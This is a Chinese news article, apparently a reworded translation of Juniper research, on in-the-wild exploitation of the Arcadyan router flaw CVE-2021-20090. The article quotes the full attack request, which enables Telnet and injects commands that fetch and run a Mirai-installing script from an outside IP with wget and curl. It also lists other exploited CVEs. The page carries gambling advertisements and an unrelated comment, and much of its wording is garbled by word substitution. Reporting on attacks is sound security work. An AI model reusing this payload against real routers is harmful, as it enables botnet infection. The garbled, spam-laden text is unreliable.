皇冠体育寻求亚洲战略合作伙伴,皇冠代理招募中,皇冠平台开放会员注册、充值、提现、电脑版下载、APP下载。

首页科技正文

CVE-2021-20090:9.9分破绽在野行使

admin2021-11-05220漏洞

Allbet Gmaing代理

欢迎进入Allbet Gmaing代理(www.aLLbetgame.us),欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。

,

研究职员发现9.9分破绽在野行使,数百万路由器装备受到影响。

CVE-2021-20090破绽

CVE-2021-20090破绽是Tenable研究职员8月3日公然的包罗Arcadyan固件的路由器web接口路径遍历破绽,CVSS评分9.9分。破绽影响数百万家用路由器装备和其他使用有破绽的代码库的物联网装备,包罗部门互联网服务提供商在内的不少于17家厂商的产物受到影响。

CVE-2021-20090破绽是一个路径遍历破绽,可能引发认证绕过。乐成行使该破绽后,攻击者可以完全接受有破绽的装备。好比,Tenable研究职员已经证实晰若何在有破绽的路由器上修改设置以启用Telnet,并获取接见装备的root级shell接见权限。

cve-2021-20090破绽的手艺细节参见:

https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2

在野破绽行使

2021年欧洲杯

www.x2w99.com)实时更新发布最新最快最有效的2021欧洲杯资讯。

Juniper平安研究职员在监控一起恶意网络流动流量时发现实验行使该破绽的攻击模式。攻击者看似实验在受影响的路由器上使用剧本的方式来部署Mirai恶意软件变种。

研究职员从今年2月18日最先监控到该攻击流动,原始的攻击泉源与IP地址27.22.80[.]19,通过HTTP POST方式:

POST /images/..%2fapply_abstract.cgi HTTP/1.1 
Connection: close 
User-Agent: Dark 
action=start_ping&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=212.192.241.7%0A
ARC_SYS_TelnetdEnable=1&%0AARC_SYS_=cd+/tmp;
wget+http://212.192.241.72/lolol.sh;
curl+-O+http://212.192.241.72/lolol.sh;
chmod+777+lolol.sh;
sh+lolol.sh&ARC_ping_status=0&TMP_Ping_Type=4

从该POST 请求中可以看出,攻击者修改了被攻击装备的设置信息使用“ARC_SYS_TelnetdEnable=1”来启用Telnet,然后使用wget或curl从IP 地址212.192.241[.]72 处下载一个新的剧本,然后执行。研究职员剖析该剧本payload并确认是Mirai僵尸网络变种。

从6月6日到7月23日,研究职员发现攻击者最先行使其它的破绽:

◼CVE-2020-29557 (DLink路由器)

◼CVE-2021-1497 and CVE-2021-1498 (Cisco HyperFlex)

◼CVE-2021-31755  (Tenda AC11)

◼CVE-2021-22502 (MicroFocus OBR)

◼CVE-2021-22506 (MicroFocus AM)

这解释该攻击组织正通过添加新的破绽行使不停扩展其攻击流动。

本文翻译自:https://blogs.juniper.net/en-us/security/freshly-disclosed-vulnerability-cve-2021-20090-exploited-in-the-wild

网友评论

1条评论
  • 2021-11-05 00:14:12

    由于在2019年中国天下杯对阵波兰队的竞赛中泛起低级的发球失误,周琦近两年饱受球迷指斥之苦。由于一次发球失误,周琦的得分、篮板以及篮下威慑力等优异显示就被许多球迷置若罔闻,那场竞赛一度成为周琦的梦魇。在时隔近两年加入某档脱口秀综艺时,周琦用平和甚至有点自嘲的心态去直面自己的失误,又被许多球迷以为是心太大。总之不管周琦做什么,都有许多人在网上喷他,有的人甚至基本没看过他任何一场竞赛。没看的都来啊